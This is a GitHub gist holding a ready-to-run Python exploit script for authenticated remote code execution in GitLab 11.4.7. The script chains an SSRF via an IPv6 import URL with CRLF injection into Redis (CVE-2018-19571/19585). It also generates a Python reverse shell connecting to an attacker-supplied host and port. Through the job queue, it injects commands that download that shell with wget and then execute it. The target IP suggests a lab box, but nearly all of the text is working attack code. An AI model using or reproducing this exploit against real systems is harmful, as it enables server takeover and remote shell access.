Skip to content

Instantly share code, notes, and snippets.

@AliceGrey
Created January 3, 2021 22:16
Show Gist options
  • Select an option

  • Save AliceGrey/97b3f382a43b4ca88708355ea0ce1a18 to your computer and use it in GitHub Desktop.

Select an option

Save AliceGrey/97b3f382a43b4ca88708355ea0ce1a18 to your computer and use it in GitHub Desktop.

Revisions

  1. AliceGrey created this gist Jan 3, 2021.
    260 changes: 260 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,260 @@
    # Exploit Title: GitLab 11.4.7 Authenticated Remote Code Execution
    # Date: January 3rd 20201
    # Exploit Author: Mohin Paramasivam (Shad0wQu35t) - Converted to Python3 by AliceGrey
    # Software Link: https://about.gitlab.com/
    # POC: https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
    # Tested on: GitLab 11.4.7 CE
    # CVE : CVE-2018-19571 (SSRF),CVE-2018-19585 (CRLF)

    import requests
    import re
    import warnings
    from bs4 import BeautifulSoup
    import sys
    import base64
    import urllib.request, urllib.parse, urllib.error
    from random_words import RandomWords
    import argparse
    import os
    import time




    parser = argparse.ArgumentParser(description='GitLab 11.4.7 Authenticated RCE')
    parser.add_argument('-U',help='GitLab Username')
    parser.add_argument('-P',help='Gitlab Password')
    parser.add_argument('-l',help='rev shell lhost')
    parser.add_argument('-p',help='rev shell lport ',type=int)
    args = parser.parse_args()


    username = args.U
    password = args.P
    lhost = args.l
    lport = args.p


    #Retrieve CSRF Token

    warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
    gitlab_url = "http://10.10.10.220:5080"
    request = requests.Session()
    print("[+] Retrieving CSRF token to submit the login form")
    time.sleep(1)
    page = request.get(gitlab_url+"/users/sign_in")
    html_content = page.text
    soup = BeautifulSoup(html_content,features="lxml")
    token = soup.findAll('meta')[16].get("content")


    print(("[+] CSRF Token : "+token))
    time.sleep(1)


    #Login

    login_info ={
    "authenticity_token": token,
    "user[login]": username,
    "user[password]": password,
    "user[remember_me]": "0"
    }


    login_request = request.post(gitlab_url+"/users/sign_in",login_info)


    if login_request.status_code==200:
    print("[+] Login Successful")
    time.sleep(1)

    else:

    print("Login Failed")
    print(" ")
    sys.exit()




    #Exploitation

    print("[+] Running Exploit")
    time.sleep(1)
    print("[+] Using IPV6 URL 'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git' to bypass filter")
    time.sleep(1)

    ipv6_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2Fssrf.git"


    r = RandomWords()
    project_name = r.random_word()
    project_url = '%s/%s/'%(gitlab_url,username)

    print("[+] Creating Project")
    time.sleep(1)
    print(("[+] Project Name : "+project_name))
    time.sleep(1)

    print("[+] Creating Python Reverse Shell")
    time.sleep(1)


    python_shell = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'%(lhost,lport)


    os.system("touch shell.py")
    shell_file = open("shell.py","w")
    shell_file.write(python_shell)
    shell_file.close()


    print("[+] Reverse Shell Generated")
    time.sleep(1)

    print("[+] Start HTTP Server in current directory")


    print("Command : python3 -m http.server 80")
    time.sleep(2)

    http_server = input("Continue (Y/N) : ")

    if (http_server=="N") or (http_server=="n"):
    print("Start HTTP Server before running exploit")

    elif (http_server=="Y") or (http_server=="y"):



    print("Run this script twice with options below to get SHELL!")
    print("")
    print("Option 1 : Download shell.py rev shell to server using wget")
    print("Option 2 : Execute shell.py downloaded previously")

    option = input("Option (1/2) : ")


    if option=="1":



    reverse_shell= """\nmulti
    sadd resque:gitlab:queues system_hook_push
    lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid wget http://%s/shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
    exec
    exec
    exec\n""" %(lhost)


    project_page = request.get(gitlab_url+"/projects/new")
    html_content = project_page.text
    soup = BeautifulSoup(html_content,features="lxml")
    project_token = soup.findAll('meta')[16].get("content")
    namespace_id = soup.find('input', {'name': 'project[namespace_id]'}).get('value')
    urlencoded_token1 = project_token.replace("==","%3D%3D")
    urlencoded_token_final = urlencoded_token1.replace("+","%2B")


    payload="utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(urlencoded_token_final,ipv6_url,reverse_shell,project_name,namespace_id,project_name)




    proxies = {
    "http" : "http://127.0.0.1:8080",
    "https" : "https://127.0.0.1:8080",
    }

    cookies = {
    'sidebar_collapsed': 'false',
    'event_filter': 'all',
    'hide_auto_devops_implicitly_enabled_banner_1': 'false',
    '_gitlab_session':request.cookies['_gitlab_session'],
    }

    headers = {
    'Host': '10.10.10.220:5080',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://10.10.10.220:5080/projects',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '398',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    }



    #response = request.post('http://10.10.10.220:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False)

    response1 = request.post(gitlab_url+'/projects',data=payload,cookies=cookies,proxies=proxies,headers=headers,verify=False)
    print("[+] Success!")
    time.sleep(1)
    print("[+] Run Exploit with Option 2")


    elif option=="2":

    reverse_shell= """\nmulti
    sadd resque:gitlab:queues system_hook_push
    lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid python3 shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
    exec
    exec
    exec\n"""




    project_page = request.get(gitlab_url+"/projects/new")
    html_content = project_page.text
    soup = BeautifulSoup(html_content,features="lxml")
    project_token = soup.findAll('meta')[16].get("content")
    namespace_id = soup.find('input', {'name': 'project[namespace_id]'}).get('value')
    urlencoded_token1 = project_token.replace("==","%3D%3D")
    urlencoded_token_final = urlencoded_token1.replace("+","%2B")


    payload="utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(urlencoded_token_final,ipv6_url,reverse_shell,project_name,namespace_id,project_name)






    proxies = {
    "http" : "http://127.0.0.1:8080",
    "https" : "https://127.0.0.1:8080",
    }

    cookies = {
    'sidebar_collapsed': 'false',
    'event_filter': 'all',
    'hide_auto_devops_implicitly_enabled_banner_1': 'false',
    '_gitlab_session':request.cookies['_gitlab_session'],
    }

    headers = {
    'Host': '10.10.10.220:5080',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://10.10.10.220:5080/projects',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '398',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    }



    #response = request.post('http://10.10.10.220:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False)

    response1 = request.post(gitlab_url+'/projects',data=payload,cookies=cookies,proxies=proxies,headers=headers,verify=False)
    print("[+] Success!")
    time.sleep(1)
    print("[+] Spawning Reverse Shell")